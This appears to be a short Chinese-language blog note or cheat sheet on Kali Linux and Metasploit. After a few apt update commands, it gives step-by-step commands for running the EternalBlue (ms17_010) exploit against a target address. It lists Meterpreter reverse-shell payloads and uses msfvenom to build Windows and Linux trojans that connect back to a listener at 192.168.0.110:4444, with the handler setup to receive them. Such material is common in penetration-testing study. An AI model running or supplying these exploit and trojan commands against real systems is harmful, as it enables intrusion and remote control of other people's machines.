软件更新

1
2
3
apt update # 更新安装包信息;只检查,不更新
apt upgrade # 更新已安装的软件包,不删除旧包;
apt full-upgrade # 升级包,删除旧包

攻击模块

基础使用

1
2
3
4
5
6
7
msfconsole //进入框架
search ms17_010 //使用search命令查找相关漏洞
use exploit/windows/smb/ms17_010_eternalblue //使用use进入模块
info //使用info查看模块信息
show options //查看参数
set RHOST 192.168.100.158 //设置参数
exploit/run

主要三类:

  1. 辅助模块(auxiliary)
  2. 漏洞利用(exploit)
  3. 攻击载荷(payload):
    1
    2
    3
    4
    5
    Stager中几种常见的payload:
    windows/meterpreter/bind_tcp //正向连接
    windows/meterpreter/reverse_tcp //反向连接,常用
    windows/meterpreter/reverse_http //通过监听80端口反向连接
    windows/meterpreter/reverse_https //通过监听443端口反向连接

木马

windows木马

  1. 创建木马
1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=4444 -f exe -o 123.exe
  1. 开启kali监听
1
2
3
4
5
6
7
8
9
# 启动msfconsole
# 开启监听
use exploit/multi/handler
# 设置tcp监听
set payload windows/meterpreter/reverse_tcp
# 设置本机ip和端口
set lhost 192.168.0.110
set lport 4444
# 输入explore开始监听
  1. 运行木马后木马上线,进入meterpreter

linux elf木马反弹shell创建(msf6版本)

  1. 创建木马
1
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.0.110 LPORT=4444 -f elf > mshell.elf
  1. 开启kali监听
1
2
3
4
5
6
7
# 启动msfconsole
# 开启监听
use exploit/multi/handler
# 设置tcp监听
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.110
set lport 4444
  1. 运行木马后木马上线,进入meterpreter